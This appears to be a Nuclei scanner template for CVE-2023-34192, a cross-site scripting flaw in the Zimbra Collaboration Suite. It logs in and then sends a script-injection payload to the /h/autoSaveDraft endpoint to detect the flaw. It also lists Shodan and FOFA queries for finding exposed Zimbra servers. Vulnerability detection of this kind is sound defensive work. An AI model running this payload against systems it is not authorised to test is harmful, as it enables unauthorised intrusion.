id: CVE-2023-34192

info:
  name: Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
  author: ritikchaddha
  severity: critical
  description: |
    Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).
  reference:
    - https://mp.weixin.qq.com/s/Vz8yL4xBlZN5EQQ_BG0OOA
    - https://www.helpnetsecurity.com/2023/07/17/cve-2023-34192/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-34192
    - https://wiki.zimbra.com/wiki/Security_Center
    - https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2023-34192
    cwe-id: CWE-79
    epss-score: 0.86293
    epss-percentile: 0.99397
    cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:475145467
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - icon_hash="475145467"
      - icon_hash="1624375939"
      - app="zimbra-邮件系统"
  tags: cve,cve2023,zimbra,xss,authenticated,kev

http:
  - raw:
      - |
        POST /zimbra/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        loginOp=login&username={{username}}&password={{password}}&client=preferred
      - |
        GET /h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cbbbbbbbb HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "zimbra"
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        part: header_2
        status:
          - 200
# digest: 4b0a00483046022100acf7bde31cc36cc866b6437bd47a446f42c70b7da02d19c66018e69bd28bbf6f022100a28f516a702e882455115ffac976a0e7cd588d3b7c0d1a7c937962de86f9b93e:922c64590222798bb761d5b6d8e72950